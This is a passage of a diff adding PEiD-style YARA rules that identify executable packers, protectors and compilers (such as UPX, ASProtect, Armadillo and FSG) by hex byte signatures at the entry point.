+		$1 = {00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 47 44 49 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 53 6C 65 65 70 00 00 00 47 65 74 56 65 72 73 69 6F 6E 00 00 00 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 00 00 47 65 74 53 74 61 72 74 75 70 49 6E 66 6F 41 00 00 00 47 65 74 41 43 50 00 00 00 43 72 65 61 74 65 54 68 72 65 61 64 00 00 00 44 65 66 57 69 6E 64 6F 77 50 72 6F 63 41 00 00 00 52 65 67 69 73 74 65 72 43 6C 61 73 73 45 78 41 00 00 00 43 72 65 61 74 65 57 69 6E 64 6F 77 45 78 41 00 00 00 47 65 74 53 79 73 74 65 6D 4D 65 74 72 69 63 73 00 00 00 53 68 6F 77 57 69 6E 64 6F 77 00 00 00 47 65 74 44 43 00 00 00 52 65 6C 65 61 73 65 44 43 00 00 00 46 69 6E 64 57 69 6E 64 6F 77 41 00 00 00 47 65 74 4D 65 73 73 61 67 65 41 00 00 00 44 65 73 74 72 6F 79 57 69 6E 64 6F 77 00 00 00 53 65 74 50 69 78 65 6C}
+		$2 = {00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 47 44 49 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 53 6C 65 65 70 00 00 00 47 65 74 56 65 72 73 69 6F 6E 00 00 00 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 00 00 47 65 74 53 74 61 72 74 75 70 49 6E 66 6F 41 00 00 00 47 65 74 41 43 50 00 00 00 43 72 65 61 74 65 54 68 72 65 61 64 00 00 00 44 65 66 57 69 6E 64 6F 77 50 72 6F 63 41 00 00 00 52 65 67 69 73 74 65 72 43 6C 61 73 73 45 78 41 00 00 00 43 72 65 61 74 65 57 69 6E 64 6F 77 45 78 41 00 00 00 47 65 74 53 79 73 74 65 6D 4D 65 74 72 69 63 73 00 00 00 53 68 6F 77 57 69 6E 64 6F 77 00 00 00 47 65 74 44 43 00 00 00 52 65 6C 65 61 73 65 44 43 00 00 00 46 69 6E 64 57 69 6E 64 6F 77 41 00 00 00 47 65 74 4D 65 73 73 61 67 65 41 00 00 00 44 65 73 74 72 6F 79 57 69 6E 64 6F 77 00 00 00 53 65 74 50 69 78 65 6C 00 00 00 00}
+		$3 = {00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 76 63 61 73 6D 5F 70 72 6F 74 65 63 74 5F ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00 00 58 EB 13 C7 83 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 AD CD 20 EB 01 0F 31 F0 EB 0C 33 C8 EB 03 EB 09 0F 59 74 05 75 F8 51 EB F1 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 49 75 F1 EB 05 EB F9 EB F0 D6 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 C0 02 EB 01 E9 50 C3}
+		$4 = {00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 47 44 49 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F}
+		$5 = {00 00 00 00 55 73 65 72 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 64 69 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 44 65 66 57 69 6E 64 6F 77 50 72 6F 63 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 52 65 67 69 73 74 65 72 43 6C 61 73 73 45 78 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 43 72 65 61 74 65 57 69 6E 64 6F 77 45 78 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 47 65 74 53 79 73 74 65 6D 4D 65 74 72 69 63 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 53 68 6F 77 57 69 6E 64 6F 77 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 47 65 74 44 43 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 52 65 6C 65 61 73 65 44 43 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 46 69 6E 64 57 69 6E 64 6F 77 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 65 74 4D 65 73 73 61 67 65 41 00}
+		$6 = {00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 76 63 61 73 6D 5F 70 72 6F 74 65 63 74 5F ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00}
+		$7 = {00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 47 44 49 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 53 6C 65 65 70 00 00 00 47 65 74 56 65 72 73 69 6F 6E 00 00 00 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 00 00 47 65 74 53 74 61 72 74 75 70 49 6E 66 6F 41 00 00 00 47 65 74 41 43 50 00 00 00 43 72 65 61 74 65 54 68 72 65 61 64 00 00 00 44 65 66 57 69 6E 64 6F 77 50 72 6F 63 41 00 00 00 52 65 67 69 73 74 65 72 43 6C 61 73 73 45 78 41 00 00 00 43 72 65 61 74 65 57 69 6E 64 6F 77 45 78 41 00 00 00 47 65 74 53 79 73 74 65 6D 4D 65 74 72 69 63 73 00 00 00 53 68 6F 77 57 69 6E 64 6F 77 00 00 00 47 65 74 44 43 00 00 00 52 65 6C 65 61 73 65 44 43 00 00 00 46 69 6E 64 57 69 6E 64 6F 77 41 00 00 00 47 65 74 4D 65 73 73 61 67 65 41 00 00 00 44 65 73 74 72 6F 79 57 69 6E 64 6F 77 00 00 00 53 65 74 50 69 78 65 6C 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 or $2 or $3 or $4 or $5 or $6 at entrypoint or $7
+}
+rule _Software_Compress_V12__BG_Software_Protect_Technologies_
+{
+	meta:
+		description = "Software Compress V1.2 -> BG Software Protect Technologies"
+	strings:
+		$0 = {E9 B8 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 53 65 63 75 72 65 45 58 45 20 45 78 65 63 75 74 61 62 6C 65 20 46 69 6C 65 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 6F 70 79 72 69 67 68 74 28 63 29 20 32 30 30 34 2D 32 30 30 37 20 5A 69 70 57 4F 52 58 20 54 65 63 68 6E 6F 6C 6F 67 69 65 73 2C 20 4C 4C 43 0D 0A 50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 37 2D 32 30 30 31 20 4C 65 65 20 48 61 73 69 75 6B 0D 0A 41 6C 6C 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2E 0D 0A 00 00 8B 44 24 04 23 05 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 83 C4 04 FE 05 ?? ?? ?? ?? 0B C0 74 02 FF E0 8B E5 5D C2 0C 00 80 3D ?? ?? ?? ?? 00 75 13 50 2B C0 50 E8 ?? ?? 00 00 83 C4 04 58 FE 05 ?? ?? ?? ?? ?? 94 9A 8D 91 9A 93 CC CD 00 B8 93 90 9D 9E 93 BE 93 93 90 9C 00 B8 93 90 9D 9E 93 B9 8D 9A 9A 00 B8 9A 8B B2 90 9B 8A 93 9A B7 9E 91 9B 93 9A BE 00 B8 9A 8B B2 90}
+		$1 = {E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 FF 74 24 24 6A 40 FF 95 1A 0F 41 00 89 44 24 1C 61 C2 04 00 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _GCCCYGWINMSYS_sign_ASL_
+{
+	meta:
+		description = "GCC-CYGWIN-MSYS_sign_ASL"
+	strings:
+		$0 = {55 89 E5 83 EC 08 A1 00 ?? ?? 00 85 C0 74 01 CC D9 7D FE 0F B7 4D FE 81 E1 C0 F0 FF FF 66 89 4D FE 0F B7 55 FE 81 CA 3F 03 00 00 66 89 55 FE D9 6D FE}
+	condition:
+		$0 at entrypoint
+}
+rule _HackStop_119_build_204_EXE_
+{
+	meta:
+		description = "HackStop 1.19 build 204 [EXE]"
+	strings:
+		$0 = {50 B8 EB 04 58 EB FB 9A 9C 1E 52 B4 30 CD 21 86 C4 3D D6 02 73 02 CD 20 0E 1F 50 B8 EB 04 58 EB FB 9A E8 02 00 24 24 5A B4 09 CD 21 50 B8 EB 04 58 EB FB 9A EB 02 D8 88 5A 1F 50 B8 EB 04 58 EB FB 9A B0 AD E6 64 58 25 80 00 8C DB 50 B8 EB 04}
+	condition:
+		$0 at entrypoint
+}
+rule _SDProtector_V11x__Randy_Li_
+{
+	meta:
+		description = "SDProtector V1.1x -> Randy Li"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 88 88 88 08 64 A1}
+		$1 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 88 88 88 08 64 A1}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_440__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 4.40 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {31 2E 31 2E 34 00 00 00 C2 E0 94 BE 93 FC DE C6 B6 24 83 F7 D2 A4 92 77 40 27 CF EB D8 6F 50 B4 B5 29 24 FA 45 08 04 52 D5 1B D2 8C 8A 1E 6E FF 8C 5F 42 89 F1 83 B1 27 C5 69 57 FC 55 0A DD 44 BE 2A 02 97 6B 65 15 AA 31 E9 28 7D 49 1B DF B5 5D 08 A8 BA A8 73 DC F6 D1 05 42 55 53 79 73 74 65 6D 00 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 44 44 45 20 50 72 6F 63 65 73 73 69 6E 67 00 00 53 77 50 44 44 45 00 00 44 00 44 00 45 00 20 00 50 00 72 00 6F 00 63 00 65 00 73 00 73 00 69 00 6E 00 67 00 00 00 00 00 53 00 77 00 50 00 44 00 44 00 45 00 00 00 00 00 3C 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 46 61 69 6C 65 64 20 43 52 43 20 63 68 65 63 6B 00 00 00 00 52}
+		$1 = {30 31 2E 30 31 00 00 04}
+		$2 = {31 2E 31 2E 34 00 00 00 C2 E0 94 BE 93 FC DE C6 B6 24 83 F7 D2 A4 92 77 40 27 CF EB D8 6F 50 B4 B5 29 24 FA 45 08 04 52 D5 1B D2 8C 8A 1E 6E FF 8C 5F 42 89 F1 83 B1 27 C5 69 57 FC 55 0A DD 44 BE 2A 02 97 6B 65 15 AA 31 E9 28 7D 49 1B DF B5 5D 08 A8 BA A8}
+		$3 = {31 2E 31 2E 34 00 00 00 C2 E0 94 BE 93 FC DE C6 B6 24 83 F7 D2 A4 92 77 40 27 CF EB D8 6F 50 B4 B5 29 24 FA 45 08 04 52 D5 1B D2 8C 8A 1E 6E FF 8C 5F 42 89 F1 83 B1 27 C5 69 57 FC 55 0A DD 44 BE 2A 02 97 6B 65 15 AA 31 E9 28 7D 49 1B DF B5 5D 08 A8 BA A8 73 DC F6 D1 05 42 55 53 79 73 74 65 6D 00 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 44 44 45 20 50 72 6F 63 65 73 73 69 6E 67 00 00 53 77 50 44 44 45 00 00 44 00 44 00 45 00 20 00 50 00 72 00 6F 00 63 00 65 00 73 00 73 00 69 00 6E 00 67 00 00 00 00 00 53 00 77 00 50 00 44 00 44 00 45 00 00 00 00 00 3C 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 or $3 at entrypoint
+}
+rule _Virtual_Image_Maker_Graphics_file_
+{
+	meta:
+		description = "Virtual Image Maker Graphics file"
+	strings:
+		$0 = {53 4F 4D 56}
+	condition:
+		$0 at entrypoint
+}
+rule _kkryptor_3__rsc_
+{
+	meta:
+		description = "k.kryptor 3 -> r!sc"
+	strings:
+		$0 = {EB 66 87 DB 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Enigma_Protector_V131_Build_20070615_Dll__Sukhov_Vladimir__Serge_N_Markin_
+{
+	meta:
+		description = "Enigma Protector V1.31 Build 20070615 Dll -> Sukhov Vladimir & Serge N. Markin"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 81 ED ?? ?? ?? ?? E9 49 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8A 84 24 28 00 00 00 80 F8 01 0F 84 07 00 00 00 B8 ?? ?? ?? ?? FF E0 E9 04 00 00 00 ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 81 C0 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 30 10 40 49 0F 85 F6 FF FF FF E9 04 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_123_RC4_build_0807_dll__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASProtect 1.23 RC4 build 08.07 (dll) -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Fish_PE_Shield_112116__HellFish_
+{
+	meta:
+		description = "Fish PE Shield 1.12/1.16 -> HellFish"
+	strings:
+		$0 = {60 E8 EA FD FF FF FF D0 C3 8D 40 00 ?? 00 00 00 2C 00 00 00 ?? ?? ?? 00 ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 ?? ?? 00 ?? ?? 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 00 00 ?? ?? ?? 00 40 ?? ?? ?? 00 00 ?? ?? 00 00 ?? ?? 00}
+		$1 = {55 8B EC 83 C4 D0 53 56 57 8B 45 10 83 C0 0C 8B 00 89 45 DC 83 7D DC 00 75 08 E8 BD FE FF FF 89 45 DC E8 E1 FD FF FF 8B 00 03 45 DC 89 45 E4 E8 DC FE FF FF 8B D8 BA 8E 4E 0E EC 8B C3 E8 2E FF FF FF 89 45 F4 BA 04 49 32 D3 8B C3 E8 1F FF FF FF 89 45 F8 BA 54 CA AF 91 8B C3 E8 10 FF FF FF 89 45 F0 BA AC 33 06 03 8B C3 E8 01 FF FF FF 89 45 EC BA 1B C6 46 79 8B C3 E8 F2 FE FF FF 89 45 E8 BA AA FC 0D 7C 8B C3 E8 E3 FE FF FF 89 45 FC 8B 45 E4 8B 58 04 03 5D E4 8B FB 8B 45 E4 8B 30 4E 85 F6 72 2B}
+		$2 = {60 E8 EA FD FF FF FF D0 C3 8D 40 00 ?? 00 00 00 2C 00 00 00 ?? ?? ?? 00 ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 ?? ?? 00 ?? ?? 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 00 00 ?? ?? ?? 00 40 ?? ?? ?? 00 00 ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 40 ?? ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 40}
+		$3 = {60 E8 EA FD FF FF FF D0 C3 8D 40 00 ?? 00 00 00 2C 00 00 00}
+		$4 = {55 8B EC 83 C4 D0 53 56 57 8B 45 10 83 C0 0C 8B 00 89 45 DC}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint or $3 at entrypoint or $4
+}
+rule _Turbo_Pascal_v20_1984_
+{
+	meta:
+		description = "Turbo Pascal v2.0 1984"
+	strings:
+		$0 = {90 90 CD AB ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 38 34}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_020_beta__Dwing_
+{
+	meta:
+		description = "Upack 0.20 beta -> Dwing"
+	strings:
+		$0 = {BE 88 01 40 00 AD 8B F8 6A 04 95 A5 33 C0 AB 48 AB F7 D8 59 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00}
+		$1 = {BE 88 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PKTiny_162_
+{
+	meta:
+		description = "PKTiny 1.62"
+	strings:
+		$0 = {1E 0E 1F B8 F0 FF 8E C0 26 8A 1E 0E 00 80 FB FD 72 0E B4 09 BA 58 01 CD 21 1F B8 00 4C CD 21 E9 FA 55 89 E5 8D 06 46 00 05 00 01 50 83 C4 02 31 DB C7 07 E9 DD C7 47 02 01 F4 C7 87 57 02 B9 08 8B 5E FE FF E3 EA FB 31 DB B8 0D 0E CD 10 B4 03}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_VOB_ProtectCD_5__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [VOB ProtectCD 5] --> Anorganix"
+	strings:
+		$0 = {36 3E 26 8A C0 60 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _X3_
+{
+	meta:
+		description = "X3"
+	strings:
+		$0 = {5E BF 00 01 57 B9 00 00 AC 34 00 AA E2 FA C3}
+	condition:
+		$0 at entrypoint
+}
+rule _diProtector_1x__diProtector_Software_
+{
+	meta:
+		description = "diProtector 1.x -> diProtector Software"
+	strings:
+		$0 = {01 00 A0 E3 14 00 00 EB 00 00 20 E0 44 10 9F E5 03 2A A0 E3 40 30 A0 E3 AE 00 00 EB 30 00 8F E5 00 20 A0 E1 3A 0E 8F E2 00 00 80 E2 1C 10 9F E5 20 30 8F E2 0E 00 00 EB 14 00 9F E5 14 10 9F E5 7F 20 A0 E3 C5 00 00 EB 04 C0 8F E2 00 F0 9C E5}
+	condition:
+		$0 at entrypoint
+}
+rule _Encriptor_100_
+{
+	meta:
+		description = "Encriptor 1.00"
+	strings:
+		$0 = {B9 60 EA BE 87 01 BF 87 01 AC D0 C8 AA E2 FA BE 6E 01 BF 48 EE AC AA 81 FE 87 01 75 F8 8C C8 BF 48 EE FF E7 BE 88 01 BF 00 01 B9 60 EA F3 A4 B8 00 00 BB 00 00 B9 00 00 BF 00 01 FF E7 24}
+	condition:
+		$0 at entrypoint
+}
+rule _PassEXE_20_
+{
+	meta:
+		description = "PassEXE 2.0"
+	strings:
+		$0 = {06 1E 0E 0E 07 1F 00 00 00 B9 53 01 87}
+	condition:
+		$0 at entrypoint
+}
+rule _Morphine_v12__v13_
+{
+	meta:
+		description = "Morphine v1.2 - v1.3"
+	strings:
+		$0 = {FF 25 34 ?? 5A 00 8B C0 FF 25 38 ?? 5A 00 8B C0}
+	condition:
+		$0 at entrypoint
+}
+rule _MSVCpp_DLL_v8_typical_OEP_recognized__h_
+{
+	meta:
+		description = "MSVC++ DLL v.8 (typical OEP recognized - h)"
+	strings:
+		$0 = {8B FF 55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 75 09 83 3D ?? ?? ?? ?? 00 EB 26 83 FE 01 74 05 83 FE 02 75 22 A1 ?? ?? ?? ?? 85 C0 74 09 57 56 53 FF D0 85 C0 74 0C 57 56 53 E8 ?? ?? ?? FF 85 C0 75 04 33 C0 EB 4E 57 56 53 E8 ?? ?? ?? FF 83 FE 01 89 45 0C 75 0C 85 C0 75 37 57 50 53 E8 ?? ?? ?? FF 85 F6 74 05 83 FE 03 75 26 57 56 53 E8 ?? ?? ?? FF 85 C0 75 03 21 45 0C 83 7D 0C 00 74 11 A1 ?? ?? ?? ?? 85 C0 74 08 57 56 53 FF D0 89 45 0C 8B 45 0C 5F 5E 5B 5D C2 0C 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Free_Pascal_106_
+{
+	meta:
+		description = "Free Pascal 1.06"
+	strings:
+		$0 = {C6 05 ?? ?? 40 00 ?? E8 ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_MinGW_GCC_2x_
+{
+	meta:
+		description = "PseudoSigner 0.2 [MinGW GCC 2.x"
+	strings:
+		$0 = {55 89 E5 E8 02 00 00 00 C9 C3 90 90 45 58 45}
+	condition:
+		$0 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_PCGuard_403415__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake PCGuard 4.03-4.15) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 FC 55 50 E8 00 00 00 00 5D EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01}
+		$1 = {90}
+		$2 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 FC 55 50 E8 00 00 00 00 5D EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _UPX_125__Markus__Laszlo_
+{
+	meta:
+		description = "UPX 1.25 -> Markus & Laszlo"
+	strings:
+		$0 = {31 2E 32 35 00 55 50 58}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_v271_
+{
+	meta:
+		description = "EXE Stealth v2.71"
+	strings:
+		$0 = {EB 00 60 EB 00 E8 00 00 00 00 5D 81 ED B0 27 40}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v42_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ v4.2 DLL"
+	strings:
+		$0 = {66 8B C0 8D 24 24 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 50 8B FE 68 78 01 ?? ?? 59 EB 01 EB AC 54 E8 03 ?? ?? ?? 5C EB 08}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_110_Eng__dulekxt__Microsoft_Visual_Cpp_60_
+{
+	meta:
+		description = "FSG 1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)"
+	strings:
+		$0 = {03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B F2 81 F6 EE 00 00 00 EB 02 CD 20 8A 0B E8 02 00 00 00 A9 54 5E C1 EE 07 F7 D7 EB 01 DE 81 E9 B7 96 A0 C4 EB 01 6B EB 02 CD 20 80 E9 4B C1 CF 08 EB 01 71 80 E9 1C EB}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_Full_Edition_117_aPLib__Ap0x_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 [aPLib] -> Ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 74 1F 00 00 8D 9D 1E 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Basic__MASM32_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual Basic / MASM32)"
+	strings:
+		$0 = {EB 02 09 94 0F B7 FF 68 80 ?? ?? 00 81 F6 8E 00 00 00 5B EB 02 11 C2 8D 05 F4 00 00 00 47}
+	condition:
+		$0 at entrypoint
+}
+rule _Goldeds_Output_text_file_
+{
+	meta:
+		description = "Golded's Output text file"
+	strings:
+		$0 = {C4 20 5B}
+	condition:
+		$0 at entrypoint
+}
+rule _Reflexive_Arcade_Wrapper_
+{
+	meta:
+		description = "Reflexive Arcade Wrapper"
+	strings:
+		$0 = {55 8B EC 6A FF 68 98 68 42 00 68 14 FA 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 F8 50 42 00 33 D2 8A D4 89 15 3C E8 42 00 8B C8 81 E1 FF 00 00 00 89 0D 38 E8 42 00 C1 E1 08 03 CA 89 0D 34 E8 42 00 C1 E8 10 A3 30 E8}
